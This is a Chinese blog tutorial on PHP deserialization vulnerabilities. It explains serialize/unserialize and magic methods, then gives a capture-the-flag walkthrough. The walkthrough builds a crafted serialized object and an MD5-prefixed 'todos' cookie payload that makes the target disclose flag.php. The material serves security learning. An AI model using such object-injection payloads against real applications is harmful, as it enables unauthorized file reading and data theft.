小言_互联网的博客

九、漏洞挖掘与代码审计(3)反序列化漏洞

340人阅读  评论(0)

一、反序列化

序列化 (serialize)是将对象的状态信息转换为可以存储或传输的形式的过程。在序列化期间,对象将其当前状态写入到临时或持久性存储区。以后,可以通过从存储区中读取或反序列化对象的状态,重新创建该对象。【将状态信息保存为字符串】

简单的理解:将PHP中 对象、类、数组、变量、匿名函数等,转化为字符串,方便保存到数据库或者文件中

 

序列化就是将对象的状态信息转为字符串储存起来,那么反序列化就是再将这个状态信息拿出来使用。(重新再转化为对象或者其他的)【将字符串转化为状态信息】

 

序列化和反序列化是和类有关,A的类只能给A用。

 

1、序列化

 

__FILE__当前文件路径

show_source()显示文件php代码,内容可以添加想要的文件

 

当在php中创建了一个对象后,可以通过serialize()把这个对象转变成一个字符串,保存对象的值方便之后的传递与使用。

fxlh.php代码内容,序列化,输出O:7:"chybeta":1:{s:4:"test";s:3:"123";} 

O代表类,7说明共有七个字符,chybeta的1个类,s代表字符串,长度为4,名字是test,字符串123,长度为3.


  
  1. <meta charset='utf-8'>
  2. <?php
  3. show_source( __FILE__); //显示当前文件的php代码
  4. class chybeta //定义类 chybeta
  5. {
  6. var $test = '123';
  7. }
  8. $class1 = new chybeta; //新建对象
  9. $class1_ser = serialize($class1); //序列化
  10. print_r($class1_ser);
  11. ?>

与 serialize() 对应的,unserialize()可以从已存储的表示中创建PHP的值,单就本次环境而言,可以从序列化后的结果中恢复对象(object)

fxlh.php,反序列化代码和输出


  
  1. <meta charset='utf-8'>
  2. <?php
  3. show_source( __FILE__); //显示当前文件的php代码
  4. //反序列化
  5. class chybeta
  6. {
  7. var $test = 123;
  8. }
  9. $a = unserialize( 'O:7:"chybeta":1:{s:4:"test";s:3:"123";}');
  10. var_dump($a);
  11. ?>

 

本质上serialize()和unserialize()在PHP内部实现上是没有漏洞的,漏洞的主要产生是由于应用程序在处理对象、魔术函数以及序列化相关问题的时候导致的。

当传给 unserialize() 的参数可控时,那么用户就可以注入精心构造的payload。当进行反序列化的时候就有可能会触发对象中的一些魔术方法,造成意想不到的危害。

 

2、魔术方法

__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。(构造函数)

__destruct():当对象被销毁时会自动调用。(析构函数)

__wakeup() :如前所提,unserialize()时会自动调用。

 

(1)__construct()


  
  1. <?php
  2. show_source( __FILE__);
  3. class chybeta
  4. {
  5. var $test;
  6. public function __construct()
  7. {
  8. echo '__construct';
  9. }
  10. }
  11. $a = new chybeta;
  12. ?>

 可以看到__consturct()在new时自动调用了,被输出了。

 

首先序列化输出变量a,可以看到a的类型是类,test变量里是空

最后反序列化输出的内容是一样的

 

(2)__wakeup()

反序列化时被执行

 

二、靶场

1、代码阅读

(1)第一段代码

flag被存储在flag.php文件中,定义了一个readme类

__toString是一个魔术方法,快速获取对象的字符串信息,当一个对象被当做字符串处理时会被调用。echo时会当字符串处理。

highlight_file是文件高亮。

如果调用魔术方法,就会显示Readme.txt的内容以及$this。

当有get传参source时,$s得到一个对象,$s等于当前文件路径,输出$s,魔术方法__toString被调用。

假如$s->source这里传参flag.php就可以显示了。

我们把代码拷贝下来在本地实验一下,果真在$s -> source传参设定自定义文件,就可以输出

因为$s 是new定义,如果我们可以对$s序列化后的值,进行反序列化,输出想要的文件

 

所以这个文件主要需要得到flag的序列化值,所以我们修改代码得到flag.php的序列化值

O:6:"readme":1:{s:6:"source";s:8:"flag.php";}

 

(2)第二段源代码

因为反序列化了$m,$m由$c决定,$c由$_COOKIE['todos']决定.

substr($c,0,32)指截取前32位,存为$h

substr($c,32)指截取后32位,存为$m

$c=$h.$m

当md5($m)等于$h时,反序列化$m,并保存在$todos中

所以$c = md5($m).$m

所以$c = md5(O:6:"readme":1:{s:6:"source";s:8:"flag.php";}) . O:6:"readme":1:{s:6:"source";s:8:"flag.php";}

 

(3)第三段代码

foreach($todos as $todo)是把$todos内容($m反序列化)依次放入$todo遍历

<?=$todo?> ===>  <?php echo $todo;?>

这是php的简易写法,意思是输出$todo

endforeach直到遍历结束

需要遍历,条件是$todos($m反序列化)必须是数组

 

2、操作

(1)得到序列化值


  
  1. <meta charset='utf-8'>
  2. <?php
  3. Class readme
  4. {
  5. public function __toString()
  6. {
  7. return highlight_file( 'Readme.txt', true).highlight_file( $this->source, true);
  8. }
  9. }
  10. $s = new readme();
  11. $s -> source = 'flag.php';
  12. $s = [$s];
  13. echo serialize($s);
  14. ?>

a:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

经过MD5加密得到  e2d4f7dcc43ee1db7f69e76303d0105c

(2)构建$c

$c = md5($m).$m

$c = e2d4f7dcc43ee1db7f69e76303d0105ca:1:{i:0;O:6:"readme":1:{s:6:"source";s:8:"flag.php";}}

(3)COOKIE传参

要url编码

 

三、总结

反序列化漏洞利用方法

1、找到可以利用的魔术方法

2、找到可以反序列化的点

3、触发魔术方法

 

 

 

 

 

 

 


转载:https://blog.csdn.net/weixin_45540609/article/details/117089819
查看评论
* 以上用户言论只代表其个人观点,不代表本网站的观点或立场